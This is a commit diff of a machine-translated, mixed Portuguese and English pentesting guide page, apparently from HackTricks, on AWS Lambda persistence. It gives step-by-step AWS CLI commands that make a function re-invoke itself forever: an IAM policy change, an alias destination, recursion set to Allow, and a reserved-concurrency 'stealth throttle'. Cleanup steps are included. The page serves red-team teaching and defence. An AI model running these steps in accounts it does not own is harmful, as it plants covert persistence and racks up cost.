Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l

This commit is contained in:
Translator
2025-10-23 13:04:27 +00:00
parent ff352c1e50
commit ce2c7c6bf6
18 changed files with 461 additions and 392 deletions

View File

@@ -1,10 +1,12 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Abuse Lambda asynchronous Destinations together with the Recursion configuration para fazer uma função re-invocar-se continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, Lambda termina loops recursivos, mas definir a configuração Recursion para Allow reativa-os. Destinations entregam do lado do serviço para invocações async, então uma única invoke seed cria um canal stealthy, sem código, tipo heartbeat/backdoor. Opcionalmente, limite com reserved concurrency para manter o ruído baixo.
{{#include ../../../../banners/hacktricks-training.md}}
Abusar das Destinations assíncronas do Lambda juntamente com a configuração Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a recursion config para Allow reativa-os. Destinations são entregues no lado do serviço para invocações assíncronas, então uma única invocação seed cria um canal stealthy, code-free de heartbeat/backdoor. Opcionalmente limite com reserved concurrency para manter o ruído baixo.
Notas
- Lambda não permite configurar a função para ser diretamente seu próprio destination. Use um function alias como destination e permita que o execution role invoque esse alias.
- Permissões mínimas: habilidade para ler/atualizar o event invoke config e recursion config da função alvo, publicar uma version e gerenciar um alias, e atualizar a execution role policy da função para permitir lambda:InvokeFunction no alias.
- Lambda não permite configurar a função para ser seu próprio destination diretamente. Use um function alias como destination e permita que a execution role invoque esse alias.
- Permissões mínimas: capacidade de ler/atualizar o event invoke config e recursion config da função alvo, publicar uma versão e gerenciar um alias, e atualizar a policy da execution role da função para permitir lambda:InvokeFunction no alias.
## Requisitos
- Region: us-east-1
@@ -12,9 +14,9 @@ Notas
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Etapas
## Passos
1) Obter o ARN da função e a configuração atual de Recursion
1) Obtenha o ARN da função e a configuração atual de recursion
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Permitir que o papel de execução da função invoque o alias (requerido por Lambda Destinations→Lambda)
3) Permitir que a role de execução da função invoque o alias (requerido por Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Configure o destino assíncrono para o alias (self via alias) e desative retries
4) Configure o destino assíncrono para o alias (a própria função via alias) e desative as tentativas.
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
@@ -63,7 +65,7 @@ aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --regio
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Disparar uma única invocação assíncrona
6) Inicie uma única invocação assíncrona
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
@@ -73,7 +75,7 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Opcional stealth throttle
8) Limitação furtiva opcional
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impacto
- Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um agendador externo, permitindo persistence/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution.
- Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um scheduler externo, permitindo persistência/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution.
{{#include ../../../../banners/hacktricks-training.md}}